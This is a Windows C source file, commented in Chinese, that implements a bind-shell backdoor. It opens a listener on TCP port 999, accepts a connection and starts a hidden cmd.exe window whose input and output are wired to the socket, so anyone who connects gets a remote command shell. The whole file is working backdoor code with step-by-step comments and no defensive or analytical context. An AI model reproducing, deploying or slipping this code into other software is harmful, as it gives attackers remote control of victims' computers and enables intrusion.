```
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#include <windows.h>


#define MasterPort 999   //定义监听端口 999
int main()    //主函数入口
{
   WSADATA WSADa;
   sockaddr_in SockAddrIn;
   SOCKET CSocket,SSocket;
   int iAddrSize;
   PROCESS_INFORMATION ProcessInfo;
   STARTUPINFO StartupInfo;
   char szCMDPath[255];
   //分配内存资源，初始化数据：
   ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
   ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
   ZeroMemory(&WSADa, sizeof(WSADATA));
   //获取 cmd 路径
   GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
   //加载 ws2_32.dll：
   WSAStartup(0x0202,&WSADa);
   //设置本地信息和绑定协议，建立 socket，代码如下：
   SockAddrIn.sin_family = AF_INET;
   SockAddrIn.sin_addr.s_addr = INADDR_ANY;
   SockAddrIn.sin_port = htons(MasterPort);
   CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,
0, 0);
   //设置绑定端口 999：
   bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
   //设置服务器端监听端口：
   listen(CSocket,1);
   iAddrSize = sizeof(SockAddrIn);
   //开始连接远程服务器，并配置隐藏窗口结构体：
   SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
   StartupInfo.cb = sizeof(STARTUPINFO);
   StartupInfo.wShowWindow = SW_HIDE;
   StartupInfo.dwFlags = STARTF_USESTDHANDLES |
STARTF_USESHOWWINDOW;
   StartupInfo.hStdInput = (HANDLE)SSocket;
```

```
        StartupInfo.hStdOutput = (HANDLE)SSocket;
        StartupInfo.hStdError = (HANDLE)SSocket;
        //创建匿名管道：
        CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL,
&StartupInfo, &ProcessInfo);
        WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
        CloseHandle(ProcessInfo.hProcess);
        CloseHandle(ProcessInfo.hThread);
        //关闭进程句柄：
        closesocket(CSocket);
        closesocket(SSocket);
        WSACleanup();
        //关闭连接卸载 ws2_32.dll
    return 0;
    }
```